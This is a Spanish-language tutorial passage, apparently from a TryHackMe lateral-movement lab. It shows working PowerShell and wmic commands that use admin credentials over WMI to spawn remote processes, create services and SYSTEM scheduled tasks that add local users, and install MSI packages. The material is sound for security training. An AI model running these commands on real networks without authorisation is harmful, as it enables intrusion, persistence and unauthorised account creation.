También podemos realizar varias técnicas vistas en la tarea anterior de forma diferente usando Windows Management Instrumentation (WMI). WMI es la implementación de Windows de Web-Based Enterprise Management (WBEM).
WMI permite a los administradores realizar tareas de gestión estándar que los atacantes pueden abusar para realizar movimiento lateral de varias formas.
Conectarse a WMI desde PowerShell
Antes de ser capaz de conectarse a WMI usando comandos de PowerShell, necesitamos crear un objeto PSCredential con nuestro usuario y contraseña. Este objeto estará almacenado en la variable $credential y será utilizada a lo largo de las técnicas de esta tarea:
$username = 'Administrator'; $password = 'Mypass123'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Luego procedemos a establecer la sesión WMI usando alguno de los siguientes protocolos:
- DCOM: RPC over IP será usado para conectarse a WMI. Este protocolo usa el puerto 135/TCP y puertos 49152-65535/TCP como se explicó en sc.exe.
- Wsman: WinRM será usado para conectarse a WMI. Este protocolo usa puertos 5985/TCP (WinRM HTTP) o 5986/TCP (WinRM HTTPS).
Para establecer una sesión WMI desde Powershell, podemos usar los siguientes comandos y almacenar la sesión en la variable $Session, lo que será usado a lo largo de la tarea en diferentes técnicas:
$Opt = New-CimSessionOption -Protocol DCOM $Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
El cmdlet New-CimSessionOption es usado para configurar las opciones de conexión para la sesión WMI, incluyendo el protocolo de conexión. Las opciones y credenciales son pasadas al cmdlet New-CimSession para establecer una sesión contra un host remoto.
Creación Remota de Procesos usando WMI
- Puertos:
- 135/tcp, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) o 5986/TCP (WinRM HTTPS)
- Membresías de Grupo Requeridas: Administrators
Podemos spawnear remotamente un proceso desde Powershell usando WMI, mandando una petición WMI a la clase Win32_Process para spawnear el proceso bajo la sesión que creamos antes:
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value xutwashere"; Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = $Command }
Ten en cuenta que WMI no te permitirá ver el output de ningún comando pero lo ejecutará silenciosamente.
En sistemas legacy, se puede hacer lo mismo usando wmic desde el command prompt:
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
Crear Servicios de Forma Remota con WMI
- Puertos:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) o 5986/TCP (WinRM HTTPS)
- Membresías de Grupo Requeridas: Administrators
Podemos crear servicios remotamente con WMI a través de Powershell. Para crear un servicio llamado THMService2, podemos usar el siguiente comando:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{ Name = "THMService2"; DisplayName = "THMService2"; PathName = "net user xut2 Pass123 /add"; # Your payload ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process StartMode = "Manual" }
Y luego, podemos arrancar el servicio con los siguientes comandos:
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'" Invoke-CimMethod -InputObject $Service -MethodName StartService
Finalmente, podemos parar y eliminar el servicio con los siguientes comandos:
Invoke-CimMethod -InputObject $Service -MethodName StopService Invoke-CimMethod -InputObject $Service -MethodName Delete
Crear Tareas Programadas Remotamente con WMI
- Puertos:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985 (WinRM HTTP) o 5986 (WinRM HTTPS)
- Membresías de Grupo Requeridas: Administrators
Podemos crear y ejecutar tareas programadas usando alguno de los cmdlets disponibles en las instalaciones Windows por defecto:
# Payload must be split in Command and Args $Command = "cmd.exe" $Args = "/c net user xut22 aSdf1234 /add" $Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2" Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
Para eliminar esta tarea programada después de haber sido utilizada, podemos usar el siguiente comando:
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
Instalar Paquetes MSI a través de WMI
- Puertos:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) o 5986/TCP (WinRM HTTPS)
- Membresías de Grupo Requeridas: Administrators
MSI es un formato de archivo usado por instaladores. Si podemos copiar un paquete MSI al sistema objetivo, podemos usar WMI para intentar instalarlo. El archivo puede ser copiado de cualquier manera disponible para el atacante. Una vez que el archivo MSI está en el sistema objetivo, podemos intentar instalarlo invocando la clase Win32_Process a través de WMI:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
Podemos conseguir lo mismo usando wmic en sistemas legacy:
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
